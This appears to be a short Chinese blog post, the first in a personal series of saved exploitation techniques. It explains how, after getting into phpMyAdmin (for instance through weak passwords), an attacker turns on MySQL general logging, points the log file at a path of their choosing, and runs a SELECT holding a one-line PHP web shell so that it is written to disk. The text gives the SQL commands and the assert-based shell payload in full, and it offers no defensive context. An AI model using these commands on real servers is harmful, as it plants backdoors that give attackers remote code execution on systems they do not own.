第一章 phpmyadmin日志一句话写入

第一章 phpmyadmin日志一句话写入

---

前言

这个系列我就是单纯想保存在我遇到过的一些漏洞利用方式，防止以后再碰到的时候再去搜索了。

---

一、phpmyadmin 变量

通过弱口令等其他一系列方式，进入到phpmyadmin后，进入变量中寻找如下两个变量名称：

general log #默认保存状态是off
general log file #默认保存路径

然后通过命令或者手动编辑的方式给修改成 on 以及自己所需要保存的路径

set global general_log=‘on’;
set global general_log_file=’文件路径’

二、phpmyadmin SQL执行

进入到phpmyadmin sql命令执行的界面，直接输入一句话木马

select ‘<?php assert($_POST[“hacker”]);?>’;